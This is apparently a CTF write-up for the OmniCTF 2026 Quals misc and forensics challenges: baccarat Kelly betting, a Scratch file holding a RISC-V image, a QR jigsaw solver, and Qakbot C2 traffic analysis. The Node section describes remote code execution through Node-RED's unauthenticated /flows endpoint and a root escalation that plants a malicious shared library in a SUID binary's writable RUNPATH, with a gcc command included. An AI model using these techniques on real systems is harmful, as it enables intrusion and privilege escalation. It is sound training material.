Full Kelly (f* = 2e for even-money games) maximises log growth per bet. On the baccarat roster the weighted average log growth per bet is ~4.9e-3 nats, so reaching the 100x target from 1000 to 100,000 needs ln(100) ≈ 4.605 nats or about 940 bets at full Kelly. The 12-round tables plus 180-second client timeout don’t accommodate 940 rounds. Over-Kelly trades log growth for reach: Monte-Carlo over 10,000 sessions shows Kelly x1 hits target 1.7% of the time in 171 rounds; Kelly x2 hits 12.9% in 134 rounds; Kelly x5 drops to 5.7% in 44 rounds (too much variance). Kelly x2 sits on a broad plateau. Wrap in a reconnect loop; five attempts get to 50% chance, twenty attempts above 95%.

How do you identify the weak baccarat agent?

The five agents ship with docstrings that literally announce their strength tier: omnicybr is “ideal”, northstar is “near-ideal”, nipcat is a “noisy threshold model”, blackshard is “timid, refuses good draws”, and voltaicai is “over-draws far past 6”. BlackShard is the deliberately weak agent, so every table where BlackShard is on one side has a 5.3-6.7% edge for the other side. Simulate each roster pair for 50k rounds with the handout’s own game.py to get exact edges, then bet the favoured side every round.

How does Node’s Node-RED unauth RCE flow work?

Node-RED 5.0.1 with no adminAuth exposes the admin API on /. POST /flows accepts a full flow definition; deploy an http in → exec → change → http response chain. The exec node has a useSpawn toggle: false uses child_process.exec(cmd + " " + payload) which already wraps in /bin/sh -c "...", so setting command:"" and addpay:"payload" gives a clean “whatever I POST is a shell command” primitive. useSpawn:true tokenises on whitespace and confuses the argv layout; use false for arbitrary shell RCE.

Why does DT_RUNPATH on the SUID nodestatus binary give root?

nodestatus is SUID root and its ELF has DT_RUNPATH: /var/lib/node. Both glibc and musl ld.so honour DT_RUNPATH for setuid binaries (only LD_LIBRARY_PATH and friends are scrubbed at setuid dispatch). The /entrypoint.sh does chmod 0777 /var/lib/node before dropping privileges to svc_node, so any user can write to that directory. Drop a malicious libshared.so there, and nodestatus loads your version on next execution. A __attribute__((constructor)) in the shared library runs before main() and while the effective UID is still 0, giving arbitrary code execution as root.

How do you compile the malicious shared library in the Node container?

The container has gcc-15.2.0 and musl headers installed. gcc -shared -fPIC -o /var/lib/node/libshared.so /tmp/evil.c produces a musl-linked shared object with correct ABI for the SUID binary. No cross-compilation, no worrying about GLIBC vs. musl symbol versions. Provide print_banner and log_status as no-op stubs so the loader resolves the symbols nodestatus needs, and do the exploit work in a constructor.

What’s inside the nostalgia Scratch .sb3 file?

.sb3 is a ZIP. Inside is project.json plus media assets. project.json has a Scratch list RISCV.ROM with 4,263,001 decimal-string byte entries. Reconstructing that as raw bytes gives a bootable RISC-V Linux 6.1.14 kernel (riscv-minimal-nommu, BusyBox 1.36.0) with an embedded newc cpio initramfs (magic 070701). The initramfs contains root/readme.txt, which has console.log("OmniCTF{ig_bro_have_some_n0stalgiaaa-676767676789}"); (the flag body).

How do you parse a newc cpio archive?

Every entry starts with 6 bytes of 070701 magic, followed by 13 × 8-byte ASCII-hex fields, then namesize bytes of NUL-terminated name (4-byte-aligned), then filesize bytes of data (also 4-byte-aligned). Field 6 is filesize, field 11 is namesize. Iterate: read the 110-byte header, read the name (skip to 4-byte alignment), read the data (skip to 4-byte alignment), stop when you see TRAILER!!! as the name.

How does the Sanity P0zzl3 jigsaw solver work?

100 transparent PNG pieces of a shuffled purple QR code. Recover per-piece boundary curves from alpha (L[y], R[y], T[x], B[x]), classify each side as flat/tab/hole from the central-half deviation from the shoulder line (median of the two straight regions at 12-28% and 72-88% of the side length). Model as a 10x10 CP-SAT assignment: 100 variables, AllDifferent, border cells constrained to correct flat side, internal seams constrained to tab/hole compatibility, minimise sum of neighbour edge-curve mismatch. OR-Tools solves in ~2.5 minutes. Render, then repair QR modules via purple thresholding + morphological dilate + 17x17 close to bridge seam cuts, then QRCodeDetector().detectAndDecode().

What’s the broader lesson from the OmniCTF 2026 Quals misc + forensics tracks?

Import the handout, don’t rewrite it. Every challenge in this set ships enough infrastructure that reproducing the exploit from first principles is strictly more work than using what the author already provided. baccarat’s game.py is a first-class baccarat simulator. Node’s /entrypoint.sh names the misconfiguration. nostalgia’s .sb3 is a ZIP with the whole RISC-V Linux image inline. Sanity P0zzl3’s PNG alpha gives exact piece geometry with no heuristic estimation. QuackQuackDiriDiriDuck’s PCAP filename indexes Brad Duncan’s malware-traffic-analysis.net corpus, whose published notes are the ground-truth IoC list. Trained triage catalogues what the handout gives before writing solver code.

How do you identify Qakbot C2 in the QuackQuackDiriDiriDuck PCAP?

Cluster TLS ClientHellos by JA3, then filter for the no-SNI fingerprint 43016d7f7f9336b17c884650d0d2545d (JA4 t12i180600_... where the i marks “no SNI”). SChannel-style ClientHellos without SNI to non-standard ports (2222 in this case) don’t happen for benign processes. tshark -Y "tls.handshake.ja3 == 43016d7f7f9336b17c884650d0d2545d" -T fields -e ip.dst -e tcp.dstport | sort -u clusters the whole C2 conversation in one filter — four unique endpoints, all confirmed against Brad Duncan’s published IoC list.

Why did Q2 (sender addresses alphabetically) fail on QuackQuackDiriDiriDuck?

The .example sanitisation on From:, Return-Path:, and Sender: headers in the handout produces multiple defensible sender-address sets (2 unique From:, 3 real Sender:, 5 real From: from Brad’s originals), and none of the case/sort combinations were accepted by rCTF. Without a hint on which header field the grader keys off and whether it wants sanitised or de-sanitised forms, the sub-flag is ambiguous. 9 of 10 sub-flags recovered; skipping Q2 was the right call once the obvious permutations exhausted.

Where can I find the solver scripts?

Per-challenge READMEs, handouts, and solver scripts at Abdelkad3r/OmniCTF-2026-Quals. baccarat, Node, and nostalgia solvers are pure Python stdlib. Sanity P0zzl3 needs pillow, numpy, opencv-python, and ortools (python3 -m pip install pillow numpy opencv-python ortools). QuackQuackDiriDiriDuck needs tshark / Wireshark and 7z for the WinZip-AES archive. Node’s solver deploys the flow, compiles the malicious .so in-container, triggers nodestatus, and prints the flag end-to-end. All five reproducible against fresh instances / handouts.

Closing notes

Four misc challenges plus one forensics challenge from very different corners of the platform, one shared discipline: the handout is the oracle, and importing it beats rewriting it every time. baccarat’s Kelly x2 sizing is a five-line loop over the handout’s own game.py. Node’s SUID DT_RUNPATH privesc is a chmod 0777 in /entrypoint.sh plus a two-symbol shared-library stub compiled in-container. nostalgia’s flag is one unzip → json.loads → bytes → strings → cpio parse chain across four well-known container formats. Sanity P0zzl3’s 10x10 assignment is exact CP-SAT input plus a morphological repair pass to close seam cuts in the QR modules. QuackQuackDiriDiriDuck’s ten sub-flags are tshark object export, no-SNI JA3 clustering, and UTC timestamp reconciliation against Brad Duncan’s malware-traffic-analysis.net notes for the same day. In every case the intended path is legible from the handout’s structure, not derived from theory.

For the same event’s other tracks, the OmniCTF 2026 Quals web writeup, OmniCTF 2026 Quals pwn writeup, OmniCTF 2026 Quals reverse writeup, OmniCTF 2026 Quals crypto writeup, and OmniCTF 2026 Quals game writeup each cover their own set. Adjacent misc + forensics writeups on the site: the Junior.Crypt 2026 forensic + misc + OSINT writeup walks a Krita .bundle (PNG-inside-zip-inside-zTXt-inside-XML-inside-CDATA) that rhymes with nostalgia’s container-nesting discipline, plus a pickle supply-chain backdoor with a LedgerModel.infer trigger that rhymes with Node’s “handout ships the loader for the exploit.” The BroncoCTF 2026 beginner + forensics + misc writeup covers a Bundle 99 six-layer format staircase and a Zip Zip Hooray 1,251-layer archive stack. Full CTF writeups index for the rest.